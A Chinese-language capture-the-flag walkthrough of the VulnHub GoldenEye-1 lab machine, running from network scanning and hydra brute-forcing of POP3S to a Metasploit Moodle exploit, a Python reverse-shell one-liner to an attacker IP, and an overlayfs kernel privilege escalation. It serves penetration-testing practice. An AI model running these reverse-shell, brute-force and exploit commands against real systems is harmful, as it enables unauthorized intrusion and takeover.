VulnHub-GoldenEye-1渗透学习
一、前言
靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
难度:中级
目标:获取root权限,并获取到flag
二、信息收集
1.获取攻击目标
使用nmap或者netdiscover扫描网段信息,获取攻击目标
# nmap扫描网段
nmap -sP 192.168.88.0/24
# netdiscover扫描网段
netdiscover -r 192.168.88.0/24
扫描到攻击目标:192.168.88.133,同时还扫描到一个域名:severnaya-station.com
2.对目标进行端口扫描
使用nmap对目标端口进行扫描
# nmap扫描端口
nmap -A 192.168.88.133
发现目标80端口开启,存在Apache服务,使用浏览器访问目标80端口
提示我们访问/sev-home/
目录进行登录
发现登录页面,但是没有账号密码
3.获取到登录账号,密码
进一步搜索线索,获取登录账号,密码,F12打开控制台,发现js文件,访问一下,获取到线索
查看js文件,发现两个人名Boris
Natalya
和一段html实体编码,使用工具解码获取到 InvincibleHack3r
猜测是密码
使用发现的人名和解码内容,进行登录,经过多次尝试使用账号:boris
密码:InvincibleHack3r
成功登录,同时获取到信息,存在pop3服务
4.对目标进行全端口扫描
# 对目标进行全端口扫描
nmap -p- -sS -sV -T5 -A 192.168.88.133
发现目标55006端口存在pop3s
55007端口存在pop3
使用浏览器访问55006和55007端口,这里有一个坑,pop3s
是pop协议
加ssl套接字
要使用https访问,但是Google会对https进行验证,访问不成功,使用火狐能访问,页面如下
另外在分析js文件的时候在注释中发现一些信息,猜测是pop3服务的账号
5.工具爆破pop3
制作user字典
# 使用hydra爆破pop3s服务
hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt 192.168.88.133 -s 55006 pop3s
成功爆破密码
6.使用telnet或者nc连接pop3
# 使用telnet连接pop3
telnet 192.168.88.133 55007
# 使用nc连接pop3
nc 192.168.88.153
查看第一封邮件指出admin用户没有扫描电子邮件中的安全风险,这封邮件没什么有用的信息
第二封邮件来自natalya
,她可以破解boris的密码
第三封邮件提示GoldenEye 的最终访问代码被放在此服务器根目录中的隐藏文件中
第四封邮件来自root用户,没有多大用
第五封邮件给了一组账号密码,并提示我们只有把severnaya-station.com
添加到hosts文件才能访问
把severnaya-station.com
添加到hosts文件
7.访问网站
浏览器访问severnaya-station.com/gnocertdir
,看到了Moodle cms
,同时发现网站需要登录,使用邮件中获取到的账号密码进行登录。
username: xenia
password: RCP90rulez!
登录成功后在Messages下发现一则新的信息,找到一个新的邮箱账号doak,继续使用hydra爆破密码
# hydra爆破doak密码
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.88.133 -s 55006 pop3s
爆破成功,登录邮箱查看邮件,发现一组新的账号密码
username: dr_doak
password: 4England!
使用账号密码登录后,发现一个文件和cms版本信息
查看文件的内容,指出管理员凭据已隐藏在图片文件中,我们使用浏览器访问,下载图片
下载图片后,我们可以使用exiftool(图虫)、strings(识别动态库版本指令)等查看jpg文件底层内容。发现base64加密的内容
进行解密
8.使用管理员账号登录网站
使用管理员账号登录,获取到版本信息
账号:admin
密码:xWinter1995x!
网上查找相关漏洞
三、get-shell
1.利用MSF获取shell
利用RCE进行getshell,打开MSF框架,搜索使用moodle exploit,配置好信息
msf6 > use 0
msf6 exploit(multi/http/moodle_cmd_exec) > set password xWinter1995x!
password => xWinter1995x!
msf6 exploit(multi/http/moodle_cmd_exec) > set rhosts 192.168.88.133
rhosts => 192.168.88.133
msf6 exploit(multi/http/moodle_cmd_exec) > set targeturi /gnocertdir
targeturi => /gnocertdir
msf6 exploit(multi/http/moodle_cmd_exec) > set vhost severnaya-station.com
vhost => severnaya-station.com
msf6 exploit(multi/http/moodle_cmd_exec) > set payload /cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(multi/http/moodle_cmd_exec) > set lhost 192.168.88.129
lhost => 192.168.88.129
执行run发现不能获取shell
问了一下师傅,师傅说目标主机上不存在GCC编译,只能CC编译,所以在需要把Google Spell编译改成PSpellShell编译。
重新执行run,反弹shell成功
使用ptyhon获得tty
python -c 'import pty; pty.spawn("/bin/bash")'
2.利用python进行反弹shell
这里也可以使用python进行反弹shell,使用管理员账户登录页面,在页面中找到Site administration-Server-System paths网站管理系统路径,发现可以上传代码
使用python代码,进行反弹shell
# python反弹shell
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.129",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc监听本地6666端口
上传代码到网站,进行保存
找到Home/My profile/Blogs/Add a new entry
页面执行shell
使用ptyhon获得tty
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
成功getshell后发现当前用户权限比较低,进行提权
查看系统版本信息,搜索对应exploit
找到一个利用overlayfs进行提权的漏洞,尝试利用,kali搜索漏洞编号
用于此exp是利用gcc进行编译的,但是目标机器没有gcc环境,只有cc环境,所以要修改成cc
由于目标存在wget,我们可以直击使用python开启http服务,目标连接http服务下载exp
使用cc进行编译,生成exp
执行exp提权成功
五、获取flag
在目标roo
t目录下发现隐藏文件.flag.txt
获取flag成功,同时获取到一个目录/006-final/xvf7-flag/
,访问是一个成功获取flag的页面